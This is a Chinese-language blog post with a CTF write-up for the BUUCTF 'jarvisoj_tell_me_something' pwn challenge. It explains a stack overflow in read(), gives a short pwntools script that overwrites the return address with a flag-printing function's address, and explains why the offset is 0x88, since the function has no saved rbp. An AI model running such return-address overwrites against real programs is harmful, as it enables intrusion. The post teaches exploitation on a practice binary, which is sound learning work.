jarvisoj_tell_me_something来自BUUCTF

这道题绕了一个小弯,细心的同学会很快找到问题的所在。这道题的原理是一道简单的栈溢出的问题。如果你不仔细看一下汇编代码的话就会被迷惑。

   接下来我们拖进IDA看一下程序的主要流程。

  很简洁的程序,可以看到read函数存在栈溢出。

  再来看看有什么后门函数可以利用吗?

 

  可以看到这个函数的意思就是读取本地的flag,然后进行输出。

只要我们进行栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。

 

 
1 from pwn import * 
p = process('./jarvisoj_tell_me_something'
context.log_level = 'debug'
p.recv() 
flag_addr = 0x0400620 
payload = 'a'*0x88 + p64(flag_addr) 
p.send(payload)
p.recv()

 

  为什么偏移是0x88,而不是0x88+0x8,我刚开始学习pwn的时候每次都是用pwndbg调试确定偏移,后来越做越有经验,直接看ida的伪代码,看定义变量那里时候,就可以看到栈距离rbp的距离是多少,只要那个距离再加上rbp的八个字节就可以覆盖到返回地址了。

  这道题刚开始的时候我也确实是那样做了,但是发现打不通。后来试着看汇编,发现了这道题的函数开始和函数结束时候的栈的准备和平时见的不太一样。

  我们先来看一下平时见的多的准备。

  如图所示,先将ebp压入栈,然后将esp的值赋给ebp,然后esp再减去对应的栈空间的大小。这个是函数调用时候的栈准备,函数主要流程执行完成后栈恢复的过程就是面的逆过程。

  接下来我们看一下这道题的汇编

  起步刚开始就直接是rsp减去0x88,其实这里是没有把rbp压入栈的,所以我们只需要0x88的数据大小,就可以开始覆盖返回地址了。

 

posted @ 2021-09-14 22:25  Mua_Uncle_W  阅读(115)  评论(0)    收藏  举报